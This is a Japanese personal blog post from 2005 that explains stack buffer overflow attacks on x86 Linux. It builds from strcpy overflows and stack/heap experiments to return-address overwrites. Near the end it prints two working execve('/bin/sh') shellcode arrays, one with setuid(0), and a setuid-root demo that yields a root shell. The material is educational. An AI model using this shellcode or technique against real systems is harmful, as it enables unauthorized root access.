システム奮闘記:その44

バッファオーバーフロー攻撃の手口



Tweet

(2005年11月6日に掲載)
はじめに

  バッファオーバーフロー攻撃でroot権限を不正取得する情報がある。
  だが、私は、バッファオーバーフロー攻撃には鈍感だった。
  なぜなら・・・

  パスワードを強化すれば大丈夫!

  と思っていた  (^^;;

  その理由は「パスワードを知らないで、どうやってroot権限を取得できるだ」
と思っていたからだ。
  つまり、root権限を不正に取得するには、パスワードを破る必要があるのだと
思い込んでいたためだった。

  だが、パスワード破りをしなくても、root権限を取得する方法がある事を知る。
  それはC言語のポインタの話で出てくるメモリの領域違反を悪用する方法だ。
  詳しくはメモリ領域違反については「システム奮闘記:その36」をご覧ください。
 (C言語 ポインタと構造体入門)

  そこで今回は、メモリ領域違反に付け込んだバッファオーバーフロー攻撃の
仕組みを知る事によって、root権限を取得する方法を知った話を書く事にします。


 (注意事項と動作確認について)

  以下のプログラムは、以下の環境で動作確認しています。

  (1) CPUがインテルのx86系CPU
  (2) OSはLinux(RedHat7.3、PlamoLinux4.0)

  CPUは、x86系を前提に書いています。

メモリ違反は悪用される事を知るキッカケ

2005年4月4日、中学の友人でY君が「システム奮闘記:その36」を読んで 以下のメールを送ってくれた。  「システム奮闘記:その36」ではC言語のポインタと構造体入門を取り上げています。 ちなみに、Y君はメモリ管理で博士号を取得した専門家です。
Y君からのメール
ポインタの場所,読みましたが…長いですねぇ.
こんだけ書くの,大変だったでしょぉ.お疲れ様です.
教科書書いているみたいね.

突っ込み所は色々あるのですが,メモリ管理の専門家として
二つだけコメント☆.


「ちょっとした領域違反」で一番怖い例は,こんなの↓.

#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv){
  char s1[1], s2[12];

  strcpy(s1, "I had a girl friend."); // s1の領域を越えて代入.
  fprintf(stdout, "%s\n", s1);        // 『私には彼女がいました.』

  strcpy(s2, "boy friend.");          // 「彼氏」を s2 に代入
  fprintf(stdout, "%s\n", s1);        // 何が起こる?
  return 0;
}

こういうのを実行すると,うちの環境では

I had a girl friend.
I had a boy friend.

という結果が出ます.なぜだか分かります?

(因みに s1[1] とs2[14]がどれだけ離れて割り付けられるかは
 環境依存です.s2 がもっと離れる場合には s1 に入れる文を
 もっともっと長くすればおっけ〜.同じ事が起こります.)


こういう『ちょっとした違反』って,本当に見付けるのが

"Purify" っていうソフト(有料.高い.)で検出することが出来ます.

http://www-6.ibm.com/jp/software/rational/products/design/purifyp/index.html
※「メモリーの破損検出」の機能がこれに該当.

  このメールを読んで、最初は「なんで書き換わるのだろ」と思ったが、
よく見ると「なるほど」と思った。
  s1の文字列に、指定された以上の文字数を入れたため、s2の領域にまで
侵入したという領域違反だ。
  そのため「girl friend.」と「boy friend」が入れ替わった状態になる。

  図で表すと以下のようになる。

「a girl friend.」と「a boy friend.」が入れ替わった原理
「a girl friend.」と「a boy friend.」が入れ替わる原理

  上図のように、ヌル文字はS1の領域を越えて、S2の領域まであるため、
printfで表示する際は、ヌル文字のある部分まで表示してしまう。


  ここで「ふむふむ」と思いながら終わらせても良いのだが、
実際に、自分の目で確かめないと気が済まない。
  そこで、Y君のプログラムを、私の自宅の環境(PlamoLinux4.0)に合わせて
プログラムを作りかえた。

プログラムソース
#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv){
  char s2[28],s1[5] ;

  strcpy(s1, "I always love a girl friend."); // s1の領域を越えて代入.
  fprintf(stdout, "%s\n", s1);        // 『私はいつも彼女を愛している』

  strcpy(s2, "boy friend.");          // 「彼氏」を s2 に代入
  fprintf(stdout, "%s\n", s1);        // 何が起こる?

  printf("s1 = %p : s2 = %p \n",s1,s2);

  return 0;
}
実行の結果
suga@jitaku[~/test]% ./test
I always love a girl friend.
I always love a boy friend.
s1 = 0xbffff790 : s2 = 0xbffff7a0
どうやら、私の環境だと変数の宣言を行った場合、
最初に宣言した方が、メモリ上のアドレスが下位になるみたい。
そこで、話をわかりやすくするため、宣言の順序を逆にしてみた。

ちなみに、なぜ、最初に宣言した方がメモリの下位になるのかについては
後述しています。

  見事の「girl friend.」と「boy friend」が入れ替わった!

  それにしても「私はいつも彼女を愛している」の文章。
  人生の中で、一度くらいは言ってみたい。
  死ぬまでに、小野真弓のような、お姉さんを恋人にして

  腕組んでデートしたいのらー (*^^*)

  逆に、ホモの毛は全くないので「私はいつも彼氏を愛している」なんて

  絶対に言わへんのらー!  オエー (@o@;;

  なんて恐ろしい事だ。いつも愛しているのは「彼女」のはずなのに、
領域違反のために、いつの間に「彼氏」に書き換わっている。

文法の突っ込みはやめてね (^^;;
上の例で「a girl」と[a boy」を使いました事で、特定の場合は
不定冠詞の「a」ではなく、定冠詞の「the」を使うべきだという
突っ込みがあるかもしれません。
でも、ここではプログラムの領域違反を起こすために、
字数などを考えて、苦し紛れに文章を作っていますので
文法の突っ込みはやめてくださいね (^^;;

  さてさて、Y君からメールをもらう少し前に、日経ITProのホームページで
バッファオーバーフローの原因が領域違反である事を読んだ。
  新井悠のネットワーク・セキュリティ論

  そこで、Y君に次のメールを送った。

Y君へ送ったメール
 ちょっと調べてみたら、領域違反を悪用すると、
バッファオーバフロー攻撃で、不正なスクリプトなどを
読み込ませて、悪事を働く。

  すると次の返事が返ってきた。

Y君からの返事
……あ〜あ, ばれちゃった.
因みに私が示した例で, もう s1 にものすご〜く長い文字列
を代入すると, return のところでこけますよん.
それがバッファーオーバーフロー攻撃のやり口.


……ってやっても意味分からないと思うのでもうちょっと
だけヒントを書きますと……

   main 関数最後の "return 0" でどこに return するか?
   というアドレスが s1, s2 の後ろの方に書かれているんだけど,
   s1 に長い長い文字列を入れると, このリターンアドレスが
   上書きされるので Segmentation Fault が起こるのですね.

   不正コードを入れたい人は, このリターンアドレスを自分の
   都合の良い場所に置き換えます.

  「おい、なぜ、バレてはいけないのだ!」という突っ込みのメールを送り返した。

  だが、Y君の書いているヒントの内容は全く理解できなかった。

  実は、日経ITProの内容も理解していないのだ。

  スタック領域って何?

  シェルコードって何?

  の状態だったのだ。つまり何もわかっていないのだ  (^^;;

  唯一、わかったのは、メモリの領域違反がバッファオーバーフロー攻撃の
原因になっているという事だけだった (^^;;


CPU、スタック領域のお勉強で回り道 メモリの領域違反が原因でセキュリティーホールができる事がわかったが なぜ、バッファオーバーフロー攻撃につながるのか、理解できなかった。 その上、それらを理解するには、どういう勉強をすれば良いのかも知らなかった。 つまり、どうやって学べが良いのかがわからないのらー!! ニッチモサッチもいかない事は、いつもの事。 google先生を使って、バッファオーバーフロー攻撃の事を書いているサイトを 見てみたのだが、いつもの如く・・・ 全然、わからへん (TT) だった。 開きなおった私は「時が解決してくれる」と思い、冬眠に入るのだった。 だが、この事態を打開するのは、意外な所からあったのだ。 まずは、スタックが何なのかを理解できた事から始まる。 スタックの一般的な説明は以下のような感じだ。
スタックの一般的な説明
メモリのスタックの説明図
物を下から上へ積み重ねながら置いて行き、取り出す時は
上から取り出して行くという「先入れ後出し法」になっている。

スタックの話は、C言語の本やアルゴリズムに、よく出てくるのだが
実際に、どういう所で、どのように使われているのか、わからないので
上のような概念的な話だけでは、何なのか、よくわからなかった。

  「一体、スタックは何やねん」という疑問を持ちながらも、
長年、放置していたのだった。
  だが、物事の理解というのは、意外な所からできる事がある。

  2005年7月に「オペレーティングシステム」の本を読む。
  この時、OSのメモリ管理などがCPUに大きな影響している事を知る。
  そこで、2005年8月に、以下の本を読む事になった。

  「はじめて読む8086」(蒲地輝尚 著、村瀬康治 監修:アスキー出版)

  8086のCPUの働きが書いている。
  以前から「レジスタ」という単語は知っていたものの、どんな物かは
全く知らなかった。
  だが、この本を読むと、どんな働きをしているのかが書いてある。
  この時、レジスタの働きを始めて知るのだった (^^)V

  さて、レジスタの1つにIPレジスタという物がある。

IPレジスタについて
8086CPUのIPレジスタとは
IPレジスタは、プログラムの中で、次に実行する命令が格納されている
アドレスを保管する役目を果たす。

  ふと思う。次の命令が格納されているアドレスは、どうやって知るのかだ。
  よく考えれば謎だ。その答えは本に書いていた。

  実は、プログラムは実行する前に、メモリに読み込まれる。

プログラム実行する前にメモリに読み込まれる
実行ファイルがメモリ空間に読み込まれる図
486CPUのマシンや、Pentiumマシンの場合は、仮想メモリの概念が出てきて
実際のメモリの中に全部格納するわけではないのだが
ここでは触れない事にします。

  そしてプログラムの実行の順番は、基本的に上位から下位へ
順番に実行されるのだ。

プログラム実行する順番
メモリ上でプログラムの命令が実行される順番

  そのためIPレジスタに格納されるアドレスは自動的に
現在、実行中の命令が格納されたアドレスより1つ下位のアドレスになる。

IPレジスタに格納されるアドレス
プログラム実行中におけるIPレジスタの役目とは、次に実行する命令を格納したメモリ上の番地を記録
上位から下位へ順番に命令が実行されるのなら、別にIPレジスタは
不要ではないかと思われるかもしれません。

しかし、IPレジスタがなければ、問題が発生します。
それは現在、実行中のアドレスの位置をCPUは知らないのです。
現在、実行中の命令があるアドレスを格納するレジスタを持っていません。

そのため、IPレジスタは、次に実行する命令が、どこなのかを指す事により
どの辺りの命令を実行するのかの目印の役目も果たします。

  しかし、順番づつ命令が処理されるとは限りません。
  C言語の場合は関数、BASICなどではサブルーチンというものがあり、
それにより命令が違う場所に飛ぶ事があります。

関数の呼び出し、もしくは、サブルーチンの呼び出しの場合
関数、もしくはサブルーチンへ飛ぶ場合
命令を順番に処理するのではなく、遠くの番地へ飛ぶ場合があります。

  この時、IPレジスタに入っている値は、実行中の命令があるアドレスより
1つ下位のアドレスが格納されています。
  そのため、IPレジスタに入っているアドレスと、実際に次に実行する命令が
入ったアドレスとの食い違いが出てきます。

関数の呼び出し、もしくは、サブルーチンの呼び出しの場合
次に実行する命令が入ったメモリ上のアドレスとIPレジスタに格納されたアドレスが不一致
命令を順番に処理するのではなく、遠くの番地へ飛ぶ場合があります。

  ここで、IPレジスタに入っているアドレスと、実際に次に実行する命令が
入ったアドレスとの食い違いを解消するために、スタック領域が出てきます。

  スタック領域だが、プログラムが実行された時に、そのプログラムが使用する
メモリ領域の一部として、確保される領域の事だ。

スタック領域の役目
スタックはIPレジスタの値を退避させるための領域
IPレジスタに入っていたアドレスをスタック領域に退避させて
実際に次に実行するアドレスをIPアドレスへ格納する。

  そして、関数、もしくはサブルーチンが終了した時には
以下のような処理を行います。

関数、もしくはサブルーチンが終了した時の処理
関数やサブルーチンが終了すると、スタック領域からIPレジスタにアドレスが戻される
スタック領域に退避させていたアドレスをIPレジスタに戻す。
これにより、次に実行する命令を格納しているアドレスがわかる。

  8086CPUでは、IPレジスタが次に実行させる命令が格納されている
アドレスを入れる役目がある事がわかった。
  同じインテルのCPUでも、CPUは20年以上前の物であって、
現在使われているPentiumやCeleronの場合は、どうなのだろうかと
疑問に思っても不思議ではない。

  以下の本を読んで、基本的には全く同じだという事がわかった。

  「はじめて読む486」(蒲地輝尚:アスキー出版)

  486CPUは、10年前に主流だったのだが、基本的な仕組みはPentiumやCeleronと
ほとんど変わっていない。

386CPU以降も考え方は同じ
368CPUからは32ビット長になったEIPレジスタが使われる
IPレジスタの代わりに、EIPレジスタというものがある。
これはレジスタが386CPUの時に、16ビットから32ビットに拡張されたため、
接頭語「E」がついた。「E」は、拡張の意味の「Extension」だと思われる。
めんどくさいので、調べていませんが (^^;;

  もちろん、関数 or サブルーチンが出てきた時、アドレスをスタック領域へ
退避させる事も、8086CPUの時代も、Pentiumの現在も全く同じだ。
  技術が進歩が早い割には、変化していない所は変化していないのだなぁと
思ったりもする。それの方が学ぶ側としては振り回されないので助かる (^^)

  スタックの働きを見てみる。

スタックの働き(1)
スタックの働きは先入れ後出し
func1()の関数を呼び出すと、戻り先のアドレスがスタックに置かれる。
そして、func1()の関数の中から、別のfunc2()の関数を呼び出すと、
func1()に戻った時の、戻り先のアドレスが上に積み重ねられる。

関数が終了すると、戻り先のアドレスは不要になるため、撤去されていく。

  スタックの働きだが、C言語に見られる。
  C言語の入門書で「ローカル変数はスタック領域に保管される」の記述がある。

  以前、C言語の入門書を読んだ時は、「スタック領域」と書かれても
システムやメモリ管理の話を知らない限り、何の事やら理解できない。
  ただ、「ふーん、そんな物があるのか」と思う程度だった。

  だが、今回はプログラムが使うメモリ領域に、スタック領域がある事を
知っている。

スタックの働き(2)
C言語でのスタック領域の扱い
ローカル変数を宣言した時に、宣言した変数の値は、スタック領域に入る。
積み重ねられるのは、変数の宣言順なので、先に宣言した変数ほど
下位のアドレスの場所に保管される事になる。

ローカル変数を宣言すればするほど、上に積み重ねられていく仕組みだ。

グローバル変数は、別のヒープ領域と呼ばれる場所に入るのだが、
ヒープ領域については、後述しています。

  上に積み重ねていく話。
  ふと思った。スタックは積めば積むほど、上位になるが限界もあるはず。
  一度、スタック領域を溢れさせて

  そこで、以下のようなプログラムを作ってみた。

スタック領域を溢れさせるプログラム (stack.c)
#include <stdio.h>

void func(void)
{
    int a = 4 ;
    printf("address = %p\n",&a);
    func();
}

int main(void)
{
    func();

    return(0);
}
再帰関数を使って無限に関数を呼び出す。
スタック領域に入るローカル変数のアドレスを表示させて、
どんどんアドレスが上位へ行く様子を見るようにしておく。

実行結果
suga@jitaku[~/flow]% ./stack
address = 0xbffff7c4
address = 0xbffff7b4
address = 0xbffff7a4
(途中省略)
address = 0xbf800764
address = 0xbf800754
address = 0xbf800744
address = 0xbf800734
セグメントエラー
ローカル変数が格納されるアドレスが
メモリの上位のアドレスへ移行しているのがわかる。

  予想通り実験成功!  (^^)

  スタックを溢れさせて喜ぶ私。
  さて、上位といっても、アドレスが先頭になるわけではない。
  スタック領域の上位の領域には何があるか。
  実は、後になってわかった話なのだが、プログラムを実行した時、
そのプログラムには以下のようにメモリ空間が割り当てられる。

プログラムを実行した時のメモリ空間の様子
メモリ空間は、コード領域、ヒープ領域、スタック領域が存在する
上位にプログラムを読み込む領域が割り当てられる。
そして、グローバル変数やmallocで確保したエリアが入る
ヒープ領域が割り当てられる。
グローバル変数などが宣言される度に、下位へ並べられる。

最下位の部分にはスタック領域が割り当てられ、
ローカル変数が宣言されたり、関数が呼び出されるたびに
上位へ積み重ねられる

  スタック領域の上にはヒープ領域があるのだ。
  実際に、自分の目で確かめてみるため、以下のプログラムを作成した。

ヒープ領域とスタック領域の違いを見る (heap1.c)
#include <stdio.h>

int a = 4 ;

void func(void)
{
  int b = 2 ;
  printf("program = %p : heap = %p : stack = %p\n",func,&a,&b);
}

int main(void)
{

  func();

  return(0);
}
実行結果
suga@jitaku[~/flow]% ./heap1 
program = 0x8048328 : heap = 0x8049474 : stack = 0xbffff7c4
関数func()のアドレス(プログラム領域)、グローバル変数のアドレス、
ローカル変数のアドレスが全く違う場所にある事がわかる。

まぁ、関数のアドレスと、グローバル変数のアドレスの位置は
比較的近い場所にある。

  さて、ヒープ領域はグローバル変数や、mallocで領域が確保されていくと
下位へ領域を広げていくが、スタック領域は上位へ領域を広げる。
  本当なのか、次のプログラムで確かめてみる事にした。

ヒープ領域が下位へ広げ、スタック領域が上位へ広げる様子を見る
(heap2.c)
#include <stdio.h>
#include <stdlib.h>

void func(void)
{
  int b = 4 ;  /* スタック領域追加 */
  int *a ;
  a = malloc(sizeof(int)); /* ヒープ領域追加 */

  printf("heap = %p : stack = %p\n",a,&b);
  func();
}

int main(void)
{

  func();

  return(0);
}
実行結果
suga@jitaku[~/flow]% ./heap2
heap = 0x80495d8 : stack = 0xbffff7c4
heap = 0x80495e8 : stack = 0xbffff7b4
heap = 0x80495f8 : stack = 0xbffff7a4
heap = 0x8049608 : stack = 0xbffff794
heap = 0x8049618 : stack = 0xbffff784
heap = 0x8049628 : stack = 0xbffff774
heap = 0x8049638 : stack = 0xbffff764
heap = 0x8049648 : stack = 0xbffff754
(以下、セグメントエラーが出るまで続く)
再帰関数で、どんどんヒープ領域とスタック領域を広げていくと、
実行結果でわかる通り、ヒープ領域は下位へ広がっていく様子が見え、
スタック領域は上位へ広がる様子がうかがえる。

  スタック領域を、どんどん上位へ広げていけば、ヒープ領域と衝突して
セグメントエラーなどでコケるのがわかった。
  スタック領域とヒープ領域の話は、これぐらいにしまして、
話をバッファオーバーフローに戻します。


メモリ違反悪用(管理者権限奪取)の手口にせまる

ところで、バッファオーバーフロー攻撃について、Webサイトを見ていると ある事に気づいた。
関数の呼び出しとスタック領域の関係
関数の呼び出しとスタックの関係
関数func()を呼び出すと、func()終了後に戻るアドレスが
スタック領域に置かれる。
そして、func()で宣言されるローカル変数の値が置かれる。

  ここでメモリの領域違反の話を応用する。

関数の呼び出しとスタック領域の関係
#include <stdio.h>

void func(void)
{
int a[1] ;

a[0] = 5 ;  ----(1)
a[1] = 1 ;  ----(2)
}

int main(void)
{
func();
return(0);
}
関数の呼び出しとスタックのやりとりの仕組み
配列a[]は、1つしか要素がない。
a[1] に変数を代入する時点で、メモリの領域違反になる。

確保したメモリ領域から溢れた分、下位のエリアに置かれた値が
上書きされてしまう。

(注意!)
実際には、a[5]ぐらいまでメモリ違反しないと、戻り先のアドレスまで
上書きされないのだが、ここは概念として、上の図を描きました。

  なるほどと思ったと同時に、Y君とのメールのやりとりを思い出す。
  Y君の話も、上の上書きを応用させた物だ。


  私の自宅の実験環境のソースで見てみる。

ソースの内容とメモリの状態との比較(1)
#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv){
  char s2[28],s1[5] ;

  strcpy(s1, "I always love a girl friend."); // s1の領域を越えて代入.
  fprintf(stdout, "%s\n", s1);        // 『私はいつも彼女を愛している』

  strcpy(s2, "boy friend.");          // 「彼氏」を s2 に代入
  fprintf(stdout, "%s\n", s1);        // 何が起こる?

  printf("s1 = %p : s2 = %p \n",s1,s2);

  return 0;
}
文字列が入るメモリ領域を可視化してみた
赤い部分が配列の宣言。s1とs2の順序を反対にしているのは、
変数の宣言順にスタック領域に積み重ねられるため、
配列s2が、s1よりも下位のアドレスに置かれるのを意図しているためです。
最初、このソースを作った時は、スタック領域や、宣言順に
スタックに積み重ねられる事を知らなかったため、試行錯誤で
配列の宣言を逆にしてみたのだが、スタックの話を知って、
宣言の順序を反対にしたのが納得できた (^^)V

Y君からもらったソースでは、配列s1の方を先に宣言している事から、
インテルx86系以外のCPUを使っていると思われる。
他のCPUの事は勉強していないので、どうなっているのかは、わかりませんが、
CPUの違いによってメモリ管理などに大きな影響があるのは事実。

  次に見てみる。

ソースの内容とメモリの状態との比較(2)
#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv){
  char s2[28],s1[5] ;

  strcpy(s1, "I always love a girl friend."); // s1の領域を越えて代入.
  fprintf(stdout, "%s\n", s1);        // 『私はいつも彼女を愛している』

  strcpy(s2, "boy friend.");          // 「彼氏」を s2 に代入
  fprintf(stdout, "%s\n", s1);        // 何が起こる?

  printf("s1 = %p : s2 = %p \n",s1,s2);

  return 0;
}
文字列が格納されるメモリ領域
配列s1に、文字列を代入するのだが、意図的に溢れさせている。
そして、出力させる際、文字列の終端はヌル文字と認識するため、
溢れた部分も含めて、出力される。

  そして、次を見てみる。

ソースの内容とメモリの状態との比較(3)
#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv){
  char s2[28],s1[5] ;

  strcpy(s1, "I always love a girl friend."); // s1の領域を越えて代入.
  fprintf(stdout, "%s\n", s1);        // 『私はいつも彼女を愛している』

  strcpy(s2, "boy friend.");          // 「彼氏」を s2 に代入
  fprintf(stdout, "%s\n", s1);        // 何が起こる?

  printf("s1 = %p : s2 = %p \n",s1,s2);

  return 0;
}
文字列がはみだしメモリ領域違反をした時
青い部分は、配列s2に文字列を代入。
この時、配列s1に代入した時に溢れ出た部分に上書きされる。

赤い部分で、配列s1を出力させるのだが、文字列の終端は
ヌル文字になるので、ヌル文字まで出力させると、
上書きされた部分が、しっかりと出力される。

「彼女を愛している」から[彼氏を愛している」に変わってしまうのだ!

  なるほど、スタック領域の話を知れば、結構、面白い事ができるのがわかる。


  スタックやIP(EIP)レジスタの話を知って、次のサイトを見た。
  http://home.netyou.jp/gg/ugpop/academy003-056.htm

  実は、このサイトは、バッファオーバーフロー攻撃について、
調べはじめた時は、いつもの如く・・・

  全く理解できませーん (^^)

  だった。
  だが、今回、これを読むと次の事がわかった。

関数の呼び出しとスタック領域の関係
#include <stdio.h>

void sub(void)
{
printf("Hello Over Flow!!\n");
exit(0);
}

void func(void)
{
int a[1] ;

a[0] = 5 ;  ----(1)
a[1] = (int)sub ;  ----(2)
}

int main(void)
{
func();
return(0);
}
C言語でメモリ違反をする仕組み
配列a[]は、1つしか要素がない。
a[1] に変数を代入する時点で、メモリの領域違反になる。

配列a[1]に、関数sub()のあるアドレスを代入している。
そのため、本来ならfunc()が終わった時に、戻る先のアドレスが
関数sub()のアドレスに上書きされてしまうのだ。

(注意!)
実際には、a[5]ぐらいまでメモリ違反しないと、戻り先のアドレスまで
上書きされないのだが、ここは概念として、上の図を描きました。

  上の考えだと、func()が終了した時、戻る先がアドレスのはずだが、
関数sub()のアドレスに上書きされているため、func()が終了した後、
関数sub()が実行されてしまうのだ。

  本当に、関数sub()が実行されるのかどうか、「百聞は一見にしかず」なので、
早速、以下のソースを作って実行してみた。

呼び出していない関数が実行できてしまう! (overflow.c)
#include <stdio.h>

void sub(void)
{
printf("Hello Over Flow!!\n");
exit(0);
}  /* 呼び出す予定がない関数 */

void func(void)
{
  int a[1];
  int i ;
  for ( i = 0 ; i < 5 ; i++ )
    {
    a[i] = (int)sub ;  /* 配列aに関数sub()のアドレスを代入 */
    }
}

int main(void)
{
func();
return(0);
}
実行結果
suga@jitaku[~/flow]% ./overflow1
Hello Over Flow!!   ← 関数sub()の実行結果が出力された!

  プログラムソース上では、関数sub()を呼び出す部分は全くないのだが、
メモリ違反によるスタック領域の上書きにより、実行しないはずの関数が
簡単に呼び出されてしまうのだ!


  単に、呼び出していない関数が呼び出されるぐらいなら、
メモリ領域の違反は、そんなに恐ろしい話ではない。
  ここまでは、恐ろしい話を書くまでの準備段階だったのだ。

  いよいよ、ここから恐ろしい話を書きます。

  バッファオーバーフローを利用して不正なコードを送りつける話。

不正なコードを送りつける原理
不正コードを送る手口を図式化
外部からデータを受け取るプログラムがあるとします。
受け取り先の変数を「A」とします。

外部から送るコードに、ウイルスプログラムと、
変数「A」のアドレスが記述して、変数「A」にコードを送ります。
スタック領域を悪用し不正なコードを実行させる手口
実際に、変数「A」に送ると、上図のように変数「A」の領域から
溢れ出てしまいます。
そして、戻り先のアドレスが書かれたメモリ領域に、変数「A」の
アドレスを上書きするように仕組んでおきます。

すると、現在、実行中の関数が終了する際、本来、戻るべき先の
アドレスが、変数「A」のアドレスに書き換わっているため、
変数「A」の場所へ移動してしまい、ウイルスプログラムが
実行されてしまい危険だという。

  外部からデータを受け取るプログラム。
  結構あるのだ。Windows関係で騒ぎになったBlaster、Sasserなどは
バッファオーバーフロー攻撃の一種なのだ。
  サーバーソフトだけでなく、メーラー、ブラウザーなど一般ユーザーにとって
身近なソフトも、バッファオーバーフロー攻撃の対象になる事がある。
  OutlookExpressが危険といわれるのは、バッファオーバーフロー攻撃の対象に
何度もなってきたからだ。

  今まで、脆弱性と言われて、パッチなどを当てていたのだが、
今回、バッファオーバーフローの観点での脆弱性を知って、改めて
攻撃の恐ろしい部分を知った。
  何せ、ユーザーが気がつかない間に、悪さをされるからだ。

  さて、バッファオーバーフロー攻撃を調べた時、日経ITProのサイトで
「シェルコード」という物が出てきた。
  一体、何なのだろうかと調べてみる事にした。

  すると、情報処理推進機構(IPA)のサイトに答えが書いてあった。
  「セキュア・プログラミング講座」
  http://www.ipa.go.jp/security/awareness/vendor/programming/b06_01_main.html

  さきほどは、プログラムに送り込むコードに、ウイルスプログラムと
書きましたが、別に、ウイルスプログラムだけではない。
  色々な悪さをするプログラムコードを送るケースも多々ある。
  UNIX系のバッファオーバーフロー攻撃で、シェルを起動させる場合がある。
  シェルが起動すれば、リモートでコントロールできるからだ!

  シェルを起動させるのが目的で送る場合があるので「シェルコード」と
呼ばれるようになったと言う。
  原理は、ウイルスプログラムを送るのと同じだ。

シェルコードを送りつける原理
シェルコードを送りつける手口
不正にシェルを起動させるために、シェルを起動させるコードを送る。
シェルが起動すれば、リモートでコントロールできるからだ。

  シェルを起動させるコード。
  IPAのサイトに載っていたので、早速、使ってみる事にした。

シェルを起動させるコード (shell1.c)
#include <stdio.h>

void danger(void)
{
  int a[2] ;
  int i ;
    const char shellcode[] = {
          0x31, 0xc0, 0x31, 0xd2, 0xeb, 0x11, 0x5b, 0x88,
          0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c,
          0x8d, 0x4b, 0x08, 0xb0, 0x0b, 0xcd, 0x80, 0xe8,
          0xea, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e,
          0x2f, 0x73, 0x68, 0x00 } ;

     for ( i = 0 ; i < 10 ; i++ )
       {
       a[i] = (int)shellcode;
       }
}

int main(void)
{
  danger();

  return(0);
}
ピンクの部分が、シェルを起動させるためのマシン語コード。

  早速、プログラムを実行させてみた。

実行結果
suga@jitaku[~/flow]% ./shell1
sh-2.05b$  ← シェルのプロンプトが出た!

  バッファオーバーフロー攻撃を使えば、ログインしなくても
簡単にシェルが起動するのがわかった。

  シェルの起動の本当の恐ろしさ。
  それはシェルコードを送る先のプログラムの実行権限にある。

  管理者権限(root)で動いているプログラムに、シェルコードを送り込むと

  管理者権限(root)が奪えるというのだ!

  凄く恐ろしい事ができてしまうというのだ。
  今まで、管理者権限(root)を得るにはパスワードを知らないとダメだと思っていた。
  そのため、パスワード破りの話に目がいってしまう。
  だが、今回、パスワードを知らなくても、管理者権限(root)が奪える事がわかった。

  さて、上のソースプログラムを利用して、一般ユーザーでも
簡単に管理者権限(root)が奪える事を実証してみる事にした。

プログラムのパーミッション
suga@jitaku[~/flow]% ls -l
-rwsr-sr-x    1 root     root         4272 11月  3日  20:15 shell1
プログラムの所有者をrootにして、実行権限も所有者権限にした。
これで一般ユーザーが実行しても、管理者(root)権限で動く。

  細工が終わった所で、実際に、一般ユーザーから簡単に管理者(root)になれるかどうか
プログラムを実行してみた。

実行結果
suga@jitaku[~/flow]% id
uid=1000(suga) gid=100(users) groups=100(users)
suga@jitaku[~/flow]%
suga@jitaku[~/flow]% ./shell1  ← ここでプログラム実行
sh-2.05b$ id
uid=1000(suga) gid=100(users) groups=100(users)

  全然、管理者権限(root)が奪えへん (TT)

  うーん、なぜ、管理者権限(root)が奪えないのか、わからない。
  そこで検索サイトで調べてみると、次のサイトが見つかった。
  http://strychnine.dip.jp/propaganda/kon2.txt

  これを読むと、次の事が書いていた。
  シェルコードを呼び出す時、起動されたシェルの実行権限がrootではなく
プログラムを実行したユーザー権限に置き換わるという。
  それを防ぐ細工をしたシェルのコードを掲載されていたので、
それを利用してみた。

シェルを起動させるコード (shell2.c)
#include <stdio.h>

void danger(void)
{
  int a[2] ;
  int i ;
    const char shellcode[] = {
          0x31, 0xdb, 0x31, 0xc0, 0xb0, 0x17, 0xcd, 0x80,
	  0xeb, 0x18, 0x5e, 0x89, 0x76, 0x08, 0x31, 0xc0,
	  0x88, 0x46, 0x07, 0x89, 0x46, 0x0c, 0xb0, 0x0b,
	  0x89, 0xf3, 0x8d, 0x4e, 0x08, 0x8d, 0x56, 0x0c,
	  0xcd, 0x80, 0xe8, 0xe3, 0xff, 0xff, 0xff, 0x2f,
	  0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68
	  };

     for ( i = 0 ; i < 10 ; i++ )
       {
       a[i] = (int)shellcode;
       }
}

int main(void)
{
  danger();

  return(0);
}
ピンクの部分が、シェルを起動させるためのマシン語コード。

  そして、実行するプログラムのパーミッションも変更しておく。

プログラムのパーミッション
suga@jitaku[~/flow]% ls -l
-rwsr-sr-x    1 root     root         4280 11月  3日  20:44 shell2
プログラムの所有者をrootにして、実行権限も所有者権限にした。
これで一般ユーザーが実行しても、管理者(root)の実行権限で動く。

  いよいよ実行させる。

実行結果
suga@jitaku[~/flow]% id
uid=1000(suga) gid=100(users) groups=100(users)
suga@jitaku[~/flow]%
suga@jitaku[~/flow]% ./shell2  ← ここでプログラム実行
sh-2.05b$ id
uid=0(root) gid=100(users) groups=100(users)

  見事、管理者権限(root)奪取に成功 V(^^)V

  管理者権限奪取(root権限奪取)に喜ぶのも変な話(?)なのだが、実験成功だ!
  それと同時に、自分の目でパスワード破りをしなくても、
管理者権限(root)が奪取できる事を確かめる事ができた。


  上での実験では、一般ユーザーが管理者権限(root)を奪うために、suidを使って
実行権限をプログラムの実行者権限でなく、所有者権限という特殊(?)な方法を
使っていますが、ftpd、telnetdなどのデーモンは、ログイン時は
管理者権限(root)で動く。

ftpdのデーモンを動かしている時の様子
[suga@test]$ ftp localhost
Connected to localhost (127.0.0.1).
220 xxx.yyy.jp FTP server (Version wu-2.6.X-Y) ready.
Name (localhost:suga):
ftpdの実行権限を見てみる
[root@test]# ps aux | grep ftp | more
suga     31768  0.0  0.7  2136  920 pts/4    S    14:31   0:00 ftp localhost
root     31769  0.2  1.5  3352 1896 ?        SN   14:31   0:00 ftpd: xxx.yyy.jp
ftp接続があった時、ftpdデーモンは、管理者権限(root)で動いている事がわかる。
ftpdの脆弱性を突いたバッファオーバーフロー攻撃に遭うと
管理者権限(root)が奪えてしまう事を意味する。

  サーバーソフトをできるだけ、root権限で動かさずにするのは、
例え、バッファオーバーフロー攻撃に遭ったとしても、root権限が奪われない、
rootの状態で乗っ取られないようにする回避策なのだ。
  sendmailよりもPostfixの方が安全といわれる所以なのだ。

  Windowsサーバーの脆弱性が言われるのは、管理者であるアドミン権限で
サービスが動いているからだ。
  そして、乗っ取られると、管理者権限でリモートコントロールされてしまう。

  Windowsサーバーの場合、UNIX系よりもキチンと管理しないと危険度が高い
というわけなのだ。危ないサーバーOSを販売しているので、MS嫌いの私は

 MSよ! オメーの陥落は近いぜ。うふふ ( ̄∀ ̄)

